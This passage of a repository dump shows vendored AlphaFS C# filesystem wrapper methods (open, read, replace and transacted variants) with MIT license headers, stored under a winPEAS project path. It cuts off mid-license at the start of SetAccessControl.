performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Extended attributes specifying additional options. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat) { return OpenCore(transaction, path, mode, rights, share, extendedAttributes, bufferSize, null, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, access rights and sharing permission, the buffer size, additional file options, access control and audit security. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// A value that determines the access control and audit security for the file. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity security, PathFormat pathFormat) { return OpenCore(transaction, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, security, pathFormat); } /// [AlphaFS] (Transacted) Opens a on the specified path using the specified creation mode, access rights and sharing permission, the buffer size, additional file options, access control and audit security. /// The transaction. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Extended attributes specifying additional options. /// A value that determines the access control and audit security for the file. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream OpenTransacted(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, FileSecurity security, PathFormat pathFormat) { return OpenCore(transaction, path, mode, rights, share, extendedAttributes, bufferSize, security, pathFormat); } #endregion // Using FileSystemRights } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenWrite.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Opens an existing file or creates a new file for writing. /// The file to be opened for writing. /// An unshared object on the specified path with access. /// This method is equivalent to the (String, FileMode, FileAccess, FileShare) constructor overload with file mode set to OpenOrCreate, the access set to Write, and the share mode set to None. [SecurityCritical] public static FileStream OpenWrite(string path) { return Open(path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None); } #endregion // .NET /// [AlphaFS] Opens an existing file or creates a new file for writing. /// The file to be opened for writing. /// Indicates the format of the path parameter(s). /// An unshared object on the specified path with access. /// This method is equivalent to the (String, FileMode, FileAccess, FileShare) constructor overload with file mode set to OpenOrCreate, the access set to Write, and the share mode set to None. [SecurityCritical] public static FileStream OpenWrite(string path, PathFormat pathFormat) { return Open(path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenWriteTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Opens an existing file or creates a new file for writing. /// The transaction. /// The file to be opened for writing. /// An unshared object on the specified path with access. /// This method is equivalent to the (String, FileMode, FileAccess, FileShare) constructor overload with file mode set to OpenOrCreate, the access set to Write, and the share mode set to None. [SecurityCritical] public static FileStream OpenWriteTransacted(KernelTransaction transaction, string path) { return OpenTransacted(transaction, path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None); } /// [AlphaFS] Opens an existing file or creates a new file for writing. /// The transaction. /// The file to be opened for writing. /// Indicates the format of the path parameter(s). /// An unshared object on the specified path with access. /// This method is equivalent to the (String, FileMode, FileAccess, FileShare) constructor overload with file mode set to OpenOrCreate, the access set to Write, and the share mode set to None. [SecurityCritical] public static FileStream OpenWriteTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return OpenTransacted(transaction, path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllBytes.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Opens a binary file, reads the contents of the file into a byte array, and then closes the file. /// The file to open for reading. /// A byte array containing the contents of the file. [SecurityCritical] public static byte[] ReadAllBytes(string path) { return ReadAllBytesCore(null, path, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Opens a binary file, reads the contents of the file into a byte array, and then closes the file. /// The file to open for reading. /// Indicates the format of the path parameter(s). /// A byte array containing the contents of the file. [SecurityCritical] public static byte[] ReadAllBytes(string path, PathFormat pathFormat) { return ReadAllBytesCore(null, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllBytesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Opens a binary file, reads the contents of the file into a byte array, and then closes the file. /// The transaction. /// The file to open for reading. /// A byte array containing the contents of the file. [SecurityCritical] public static byte[] ReadAllBytesTransacted(KernelTransaction transaction, string path) { return ReadAllBytesCore(transaction, path, PathFormat.RelativePath); } /// [AlphaFS] Opens a binary file, reads the contents of the file into a byte array, and then closes the file. /// The transaction. /// The file to open for reading. /// Indicates the format of the path parameter(s). /// A byte array containing the contents of the file. [SecurityCritical] public static byte[] ReadAllBytesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return ReadAllBytesCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllLines.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Linq; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Opens a text file, reads all lines of the file, and then closes the file. /// The file to open for reading. /// All lines of the file. [SecurityCritical] public static string[] ReadAllLines(string path) { return ReadAllLinesCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath).ToArray(); } #endregion // .NET /// Opens a file, reads all lines of the file with the specified encoding, and then closes the file. /// The file to open for reading. /// The applied to the contents of the file. /// All lines of the file. [SecurityCritical] public static string[] ReadAllLines(string path, Encoding encoding) { return ReadAllLinesCore(null, path, encoding, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Opens a text file, reads all lines of the file, and then closes the file. /// The file to open for reading. /// Indicates the format of the path parameter(s). /// All lines of the file. [SecurityCritical] public static string[] ReadAllLines(string path, PathFormat pathFormat) { return ReadAllLinesCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat).ToArray(); } /// [AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file. /// The file to open for reading. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// All lines of the file. [SecurityCritical] public static string[] ReadAllLines(string path, Encoding encoding, PathFormat pathFormat) { return ReadAllLinesCore(null, path, encoding, pathFormat).ToArray(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllLinesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Linq; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Opens a text file, reads all lines of the file, and then closes the file. /// The transaction. /// The file to open for reading. /// All lines of the file. [SecurityCritical] public static string[] ReadAllLinesTransacted(KernelTransaction transaction, string path) { return ReadAllLinesCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file. /// The transaction. /// The file to open for reading. /// The applied to the contents of the file. /// All lines of the file. [SecurityCritical] public static string[] ReadAllLinesTransacted(KernelTransaction transaction, string path, Encoding encoding) { return ReadAllLinesCore(transaction, path, encoding, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Opens a text file, reads all lines of the file, and then closes the file. /// The transaction. /// The file to open for reading. /// Indicates the format of the path parameter(s). /// All lines of the file. [SecurityCritical] public static string[] ReadAllLinesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return ReadAllLinesCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat).ToArray(); } /// [AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file. /// The transaction. /// The file to open for reading. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// All lines of the file. [SecurityCritical] public static string[] ReadAllLinesTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { return ReadAllLinesCore(transaction, path, encoding, pathFormat).ToArray(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Opens a text file, reads all lines of the file, and then closes the file. /// The file to open for reading. /// All lines of the file. [SecurityCritical] public static string ReadAllText(string path) { return ReadAllTextCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Opens a text file, reads all lines of the file, and then closes the file. /// The file to open for reading. /// Indicates the format of the path parameter(s). /// All lines of the file. [SecurityCritical] public static string ReadAllText(string path, PathFormat pathFormat) { return ReadAllTextCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat); } /// Opens a file, reads all lines of the file with the specified encoding, and then closes the file. /// The file to open for reading. /// The applied to the contents of the file. /// All lines of the file. [SecurityCritical] public static string ReadAllText(string path, Encoding encoding) { return ReadAllTextCore(null, path, encoding, PathFormat.RelativePath); } /// [AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file. /// The file to open for reading. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// All lines of the file. [SecurityCritical] public static string ReadAllText(string path, Encoding encoding, PathFormat pathFormat) { return ReadAllTextCore(null, path, encoding, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadAllTextTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Opens a text file, reads all lines of the file, and then closes the file. /// The transaction. /// The file to open for reading. /// All lines of the file. [SecurityCritical] public static string ReadAllTextTransacted(KernelTransaction transaction, string path) { return ReadAllTextCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath); } /// [AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file. /// The transaction. /// The file to open for reading. /// The applied to the contents of the file. /// All lines of the file. [SecurityCritical] public static string ReadAllTextTransacted(KernelTransaction transaction, string path, Encoding encoding) { return ReadAllTextCore(transaction, path, encoding, PathFormat.RelativePath); } /// [AlphaFS] Opens a text file, reads all lines of the file, and then closes the file. /// The transaction. /// The file to open for reading. /// Indicates the format of the path parameter(s). /// All lines of the file. [SecurityCritical] public static string ReadAllTextTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return ReadAllTextCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat); } /// [AlphaFS] Opens a file, reads all lines of the file with the specified encoding, and then closes the file. /// The transaction. /// The file to open for reading. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// All lines of the file. [SecurityCritical] public static string ReadAllTextTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { return ReadAllTextCore(transaction, path, encoding, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadLines.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Reads the lines of a file. /// The file to read. /// All the lines of the file, or the lines that are the result of a query. [SecurityCritical] public static IEnumerable ReadLines(string path) { return ReadLinesCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Reads the lines of a file. /// The file to read. /// Indicates the format of the path parameter(s). /// All the lines of the file, or the lines that are the result of a query. [SecurityCritical] public static IEnumerable ReadLines(string path, PathFormat pathFormat) { return ReadLinesCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat); } /// Read the lines of a file that has a specified encoding. /// The file to read. /// The encoding that is applied to the contents of the file. /// All the lines of the file, or the lines that are the result of a query. [SecurityCritical] public static IEnumerable ReadLines(string path, Encoding encoding) { return ReadLinesCore(null, path, encoding, PathFormat.RelativePath); } /// [AlphaFS] Read the lines of a file that has a specified encoding. /// The file to read. /// The encoding that is applied to the contents of the file. /// Indicates the format of the path parameter(s). /// All the lines of the file, or the lines that are the result of a query. [SecurityCritical] public static IEnumerable ReadLines(string path, Encoding encoding, PathFormat pathFormat) { return ReadLinesCore(null, path, encoding, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.ReadLinesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Reads the lines of a file. /// The transaction. /// The file to read. /// All the lines of the file, or the lines that are the result of a query. [SecurityCritical] public static IEnumerable ReadLinesTransacted(KernelTransaction transaction, string path) { return ReadLinesCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath); } /// [AlphaFS] Read the lines of a file that has a specified encoding. /// The transaction. /// The file to read. /// The encoding that is applied to the contents of the file. /// All the lines of the file, or the lines that are the result of a query. [SecurityCritical] public static IEnumerable ReadLinesTransacted(KernelTransaction transaction, string path, Encoding encoding) { return ReadLinesCore(transaction, path, encoding, PathFormat.RelativePath); } /// [AlphaFS] Reads the lines of a file. /// The transaction. /// The file to read. /// Indicates the format of the path parameter(s). /// All the lines of the file, or the lines that are the result of a query. [SecurityCritical] public static IEnumerable ReadLinesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return ReadLinesCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat); } /// [AlphaFS] Read the lines of a file that has a specified encoding. /// The transaction. /// The file to read. /// The encoding that is applied to the contents of the file. /// Indicates the format of the path parameter(s). /// All the lines of the file, or the lines that are the result of a query. [SecurityCritical] public static IEnumerable ReadLinesTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { return ReadLinesCore(transaction, path, encoding, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Replace.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Replaces the contents of a specified file with the contents of another file, deleting the original file, and creating a backup of the replaced file. /// The Replace method replaces the contents of a specified file with the contents of another file. It also creates a backup of the file that was replaced. /// /// If the and are on different volumes, this method will /// raise an exception. If the is on a different volume from the source file, the backup /// file will be deleted. /// /// /// Pass null to the parameter if you do not want to create a backup of the file being /// replaced. /// /// The name of a file that replaces the file specified by . /// The name of the file being replaced. /// The name of the backup file. [SecurityCritical] public static void Replace(string sourceFileName, string destinationFileName, string destinationBackupFileName) { ReplaceCore(sourceFileName, destinationFileName, destinationBackupFileName, false, PathFormat.RelativePath); } /// Replaces the contents of a specified file with the contents of another file, deleting the original file, and creating a backup of the replaced file and optionally ignores merge errors. /// The Replace method replaces the contents of a specified file with the contents of another file. It also creates a backup of the file that was replaced. /// /// If the and are on different volumes, this method will /// raise an exception. If the is on a different volume from the source file, the backup /// file will be deleted. /// /// /// Pass null to the parameter if you do not want to create a backup of the file being /// replaced. /// /// The name of a file that replaces the file specified by . /// The name of the file being replaced. /// The name of the backup file. /// /// true to ignore merge errors (such as attributes and access control lists (ACLs)) from the replaced file to the /// replacement file; otherwise, false. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "dest")] [SecurityCritical] public static void Replace(string sourceFileName, string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors) { ReplaceCore(sourceFileName, destinationFileName, destinationBackupFileName, ignoreMetadataErrors, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Replaces the contents of a specified file with the contents of another file, deleting the original file, and creating a backup of the replaced file and optionally ignores merge errors. /// The Replace method replaces the contents of a specified file with the contents of another file. It also creates a backup of the file that was replaced. /// /// If the and are on different volumes, this method will /// raise an exception. If the is on a different volume from the source file, the backup /// file will be deleted. /// /// /// Pass null to the parameter if you do not want to create a backup of the file being /// replaced. /// /// The name of a file that replaces the file specified by . /// The name of the file being replaced. /// The name of the backup file. /// /// true to ignore merge errors (such as attributes and access control lists (ACLs)) from the replaced file to the /// replacement file; otherwise, false. /// /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "dest")] [SecurityCritical] public static void Replace(string sourceFileName, string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors, PathFormat pathFormat) { ReplaceCore(sourceFileName, destinationFileName, destinationBackupFileName, ignoreMetadataErrors, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.SetAccessControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE 